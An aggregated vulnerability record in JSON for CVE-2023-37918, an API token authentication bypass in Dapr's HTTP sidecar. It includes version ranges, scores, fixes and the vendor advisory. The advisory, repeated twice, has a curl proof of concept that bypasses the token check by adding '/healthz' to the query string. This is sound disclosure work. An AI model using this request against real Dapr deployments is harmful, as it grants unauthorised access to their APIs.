{"id":"CVE-2023-37918","aliases":["EUVD-2023-1966","GHSA-59m6-82qm-vqgj","GO-2023-1955"],"status":"published","title":"API token authentication bypass in HTTP endpoints in Dapr","description":"Dapr is a portable, event-driven, runtime for building distributed applications across cloud and edge. A vulnerability has been found in Dapr that allows bypassing API token authentication, which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request. Users who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 or to 1.11.2. This vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the `dapr-api-token` in the request is invalid or missing. The issue has been fixed in Dapr 1.10.9 or to 1.11.2. There are no known workarounds for this vulnerability.","severity":{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01397,"percentile":0.72779,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-287","CWE-305"],"published":"2023-07-21T20:08:00Z","modified":"2026-10-28T02:30:48Z","fixes":[{"ecosystem":"Go","package":"github.com/dapr/dapr","fixed_in":["1.11.2","1.10.9"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/dapr/dapr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.11.0"},{"fixed":"1.11.2"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/dapr/dapr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.10.9"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/dapr/dapr","ranges":[{"type":"SEMVER","events":[{"introduced":"1.11.0"},{"fixed":"1.11.2"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/dapr/dapr","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.10.9"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/dapr/dapr","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.10.9"},{"introduced":"1.11.0"},{"fixed":"1.11.2"}]}]}],"products":[{"vendor":"dapr","product":"dapr"},{"vendor":"linuxfoundation","product":"dapr"}],"references":[{"url":"https://github.com/dapr/dapr/security/advisories/GHSA-59m6-82qm-vqgj","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/dapr/dapr/commit/83ca1abb11ffe34211db55dcd36d96b94252827a","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://docs.dapr.io/operations/security/api-token/","tags":["x_refsource_MISC","x_transferred","Product","web"]},{"url":"https://github.com/dapr/dapr/commit/99d6799c97b79397443c8c96737c9b893126a1ae","tags":["web","fix"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-37918","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-59m6-82qm-vqgj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/37xxx/CVE-2023-37918.json","tags":["advisory"]},{"url":"https://docs.dapr.io/operations/security/api-token","tags":["web"]},{"url":"https://github.com/dapr/dapr","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-37918","title":"API token authentication bypass in HTTP endpoints in Dapr","description":"Dapr is a portable, event-driven, runtime for building distributed applications across cloud and edge. A vulnerability has been found in Dapr that allows bypassing API token authentication, which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request. Users who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 or to 1.11.2. This vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the `dapr-api-token` in the request is invalid or missing. The issue has been fixed in Dapr 1.10.9 or to 1.11.2. There are no known workarounds for this vulnerability.\n","status":"published","published":"2023-07-21T20:08:00.768Z","modified":"2024-10-10T18:40:09.738Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:35:16.454633Z"}],"euvd":[{"id":"EUVD-2023-1966","description":"Dapr is a portable, event-driven, runtime for building distributed applications across cloud and edge. A vulnerability has been found in Dapr that allows bypassing API token authentication, which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request. Users who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 or to 1.11.2. This vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the `dapr-api-token` in the request is invalid or missing. The issue has been fixed in Dapr 1.10.9 or to 1.11.2. There are no known workarounds for this vulnerability.\n","status":"published","published":"2023-07-21T20:08:00Z","modified":"2024-10-10T18:40:09Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-03T00:27:40.113019Z"}],"ghsa":[{"id":"GHSA-59m6-82qm-vqgj","title":"Dapr API token authentication bypass in HTTP endpoints","description":"### Summary\n\n\nA vulnerability has been found in Dapr that allows bypassing [API token authentication](https://docs.dapr.io/operations/security/api-token/), which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request.\n\n\nUsers who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 and 1.11.2.\n\n\n### Impact\n\n\nThis vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the `dapr-api-token` in the request is invalid or missing.\n\n\n### Patches\n\n\nThe issue has been fixed in Dapr 1.10.9 and 1.11.2.\n\n\n### Details\n\n\nWhen API token authentication is enabled, Dapr requires all calls from applications to include the `dapr-api-token` header, with a value matching what's included in the Dapr's configuration. In order to allow for healthchecks to work, the `/v1.0/healthz` and `/v1.0/healthz/outbound` HTTP APIs are excluded from the API token authentication check, and are always allowed.\n\n\nDapr \u003c= 1.10.8 and \u003c= 1.11.1 implemented the allowlisting of the healthcheck endpoints by permitting all requests whose URL contains `/healthz` to bypass the API token authentication check. The match applied anywhere in the URL, including the querystring.\n\n\nAs a consequence, attackers were able to bypass API token authentication by including `/healthz` anywhere in the URL, including as a querystring parameter. This allowed attackers to invoke any Dapr API using HTTP, including perform service invocation.\n\n\n### Proof of Concept\n\n\n```\n$ curl -v http://localhost:3500/v1.0/metadata\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n\u003e GET /v1.0/metadata HTTP/1.1\n\u003e Host: localhost:3500\n\u003e User-Agent: curl/7.74.0\n\u003e Accept: */*\n\u003e\n* Mark bundle as not supporting multiuse\n\u003c HTTP/1.1 401 Unauthorized\n\u003c Date: Mon, 17 Jul 2023 18:13:13 GMT\n\u003c Content-Type: text/plain; charset=utf-8\n\u003c Content-Length: 17\n\u003c Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n\u003c\n* Connection #0 to host localhost left intact\ninvalid api token\n\n\n$ curl -v http://localhost:3500/v1.0/metadata -H \"dapr-api-token: mytoken\"\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n\u003e GET /v1.0/metadata HTTP/1.1\n\u003e Host: localhost:3500\n\u003e User-Agent: curl/7.74.0\n\u003e Accept: */*\n\u003e dapr-api-token: mytoken\n\u003e\n* Mark bundle as not supporting multiuse\n\u003c HTTP/1.1 200 OK\n\u003c Date: Mon, 17 Jul 2023 18:13:26 GMT\n\u003c Content-Type: application/json\n\u003c Content-Length: 119\n\u003c Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n\u003c\n* Connection #0 to host localhost left intact\n{\"id\":\"foo\",\"actors\":[],\"extended\":{\"daprRuntimeVersion\":\"v1.11.1\"},\"components\":[],\"httpEndpoints\":[],\"subscriptions\":[]}\n\n\n$ curl -v http://localhost:3500/v1.0/metadata?foo=/healthz\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n\u003e GET /v1.0/metadata?foo=/healthz HTTP/1.1\n\u003e Host: localhost:3500\n\u003e User-Agent: curl/7.74.0\n\u003e Accept: */*\n\u003e\n* Mark bundle as not supporting multiuse\n\u003c HTTP/1.1 200 OK\n\u003c Date: Mon, 17 Jul 2023 18:13:44 GMT\n\u003c Content-Type: application/json\n\u003c Content-Length: 119\n\u003c Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n\u003c\n* Connection #0 to host localhost left intact\n{\"id\":\"foo\",\"actors\":[],\"extended\":{\"daprRuntimeVersion\":\"v1.11.1\"},\"components\":[],\"httpEndpoints\":[],\"subscriptions\":[]}\n","status":"published","published":"2023-07-21T20:17:36Z","modified":"2023-11-10T05:03:41Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-287","CWE-305"],"updated_at":"2026-11-02T14:37:19.438667Z"}],"nvd":[{"id":"CVE-2023-37918","description":"Dapr is a portable, event-driven, runtime for building distributed applications across cloud and edge. A vulnerability has been found in Dapr that allows bypassing API token authentication, which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request. Users who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 or to 1.11.2. This vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the `dapr-api-token` in the request is invalid or missing. The issue has been fixed in Dapr 1.10.9 or to 1.11.2. There are no known workarounds for this vulnerability.\n","status":"published","published":"2023-07-21T21:15:11.657Z","modified":"2026-06-17T06:08:54.09Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:08:17.044696Z"}],"osv":[{"id":"CVE-2023-37918","title":"API token authentication bypass in HTTP endpoints in Dapr","description":"Dapr is a portable, event-driven, runtime for building distributed applications across cloud and edge. A vulnerability has been found in Dapr that allows bypassing API token authentication, which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request. Users who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 or to 1.11.2. This vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the `dapr-api-token` in the request is invalid or missing. The issue has been fixed in Dapr 1.10.9 or to 1.11.2. There are no known workarounds for this vulnerability.\n","status":"published","published":"2023-07-21T20:08:00.768Z","modified":"2026-10-28T02:30:48.579703439Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T15:44:32.922049Z"},{"id":"GHSA-59m6-82qm-vqgj","title":"Dapr API token authentication bypass in HTTP endpoints","description":"### Summary\n\n\nA vulnerability has been found in Dapr that allows bypassing [API token authentication](https://docs.dapr.io/operations/security/api-token/), which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request.\n\n\nUsers who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 and 1.11.2.\n\n\n### Impact\n\n\nThis vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the `dapr-api-token` in the request is invalid or missing.\n\n\n### Patches\n\n\nThe issue has been fixed in Dapr 1.10.9 and 1.11.2.\n\n\n### Details\n\n\nWhen API token authentication is enabled, Dapr requires all calls from applications to include the `dapr-api-token` header, with a value matching what's included in the Dapr's configuration. In order to allow for healthchecks to work, the `/v1.0/healthz` and `/v1.0/healthz/outbound` HTTP APIs are excluded from the API token authentication check, and are always allowed.\n\n\nDapr \u003c= 1.10.8 and \u003c= 1.11.1 implemented the allowlisting of the healthcheck endpoints by permitting all requests whose URL contains `/healthz` to bypass the API token authentication check. The match applied anywhere in the URL, including the querystring.\n\n\nAs a consequence, attackers were able to bypass API token authentication by including `/healthz` anywhere in the URL, including as a querystring parameter. This allowed attackers to invoke any Dapr API using HTTP, including perform service invocation.\n\n\n### Proof of Concept\n\n\n```\n$ curl -v http://localhost:3500/v1.0/metadata\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n\u003e GET /v1.0/metadata HTTP/1.1\n\u003e Host: localhost:3500\n\u003e User-Agent: curl/7.74.0\n\u003e Accept: */*\n\u003e\n* Mark bundle as not supporting multiuse\n\u003c HTTP/1.1 401 Unauthorized\n\u003c Date: Mon, 17 Jul 2023 18:13:13 GMT\n\u003c Content-Type: text/plain; charset=utf-8\n\u003c Content-Length: 17\n\u003c Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n\u003c\n* Connection #0 to host localhost left intact\ninvalid api token\n\n\n$ curl -v http://localhost:3500/v1.0/metadata -H \"dapr-api-token: mytoken\"\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n\u003e GET /v1.0/metadata HTTP/1.1\n\u003e Host: localhost:3500\n\u003e User-Agent: curl/7.74.0\n\u003e Accept: */*\n\u003e dapr-api-token: mytoken\n\u003e\n* Mark bundle as not supporting multiuse\n\u003c HTTP/1.1 200 OK\n\u003c Date: Mon, 17 Jul 2023 18:13:26 GMT\n\u003c Content-Type: application/json\n\u003c Content-Length: 119\n\u003c Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n\u003c\n* Connection #0 to host localhost left intact\n{\"id\":\"foo\",\"actors\":[],\"extended\":{\"daprRuntimeVersion\":\"v1.11.1\"},\"components\":[],\"httpEndpoints\":[],\"subscriptions\":[]}\n\n\n$ curl -v http://localhost:3500/v1.0/metadata?foo=/healthz\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n\u003e GET /v1.0/metadata?foo=/healthz HTTP/1.1\n\u003e Host: localhost:3500\n\u003e User-Agent: curl/7.74.0\n\u003e Accept: */*\n\u003e\n* Mark bundle as not supporting multiuse\n\u003c HTTP/1.1 200 OK\n\u003c Date: Mon, 17 Jul 2023 18:13:44 GMT\n\u003c Content-Type: application/json\n\u003c Content-Length: 119\n\u003c Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n\u003c\n* Connection #0 to host localhost left intact\n{\"id\":\"foo\",\"actors\":[],\"extended\":{\"daprRuntimeVersion\":\"v1.11.1\"},\"components\":[],\"httpEndpoints\":[],\"subscriptions\":[]}\n","status":"published","published":"2023-07-21T20:17:36Z","modified":"2026-09-10T03:49:54.32861984Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-287","CWE-305"],"updated_at":"2026-11-02T15:46:38.213481Z"},{"id":"GO-2023-1955","title":"Dapr API token authentication bypass in HTTP endpoints in github.com/dapr/dapr","description":"Dapr API token authentication bypass in HTTP endpoints in github.com/dapr/dapr","status":"published","published":"2024-08-20T20:32:20Z","modified":"2026-03-03T04:51:32.173795Z","updated_at":"2026-11-02T15:47:01.185262Z"}]}}